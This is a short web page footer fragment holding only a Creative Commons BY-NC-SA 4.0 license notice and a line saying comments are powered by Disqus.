Licensed under CC BY-NC-SA 4.0
comments powered by Disqus